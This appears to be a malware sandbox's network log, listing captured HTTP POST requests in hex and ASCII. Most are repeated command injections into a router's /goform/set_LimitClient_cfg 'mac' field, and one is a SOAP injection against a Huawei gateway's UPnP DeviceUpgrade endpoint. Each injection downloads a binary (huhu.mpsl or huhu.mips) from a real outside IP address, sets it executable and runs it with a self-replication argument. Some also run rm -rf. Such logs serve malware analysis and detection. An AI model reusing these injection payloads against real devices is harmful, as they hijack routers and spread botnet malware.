Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
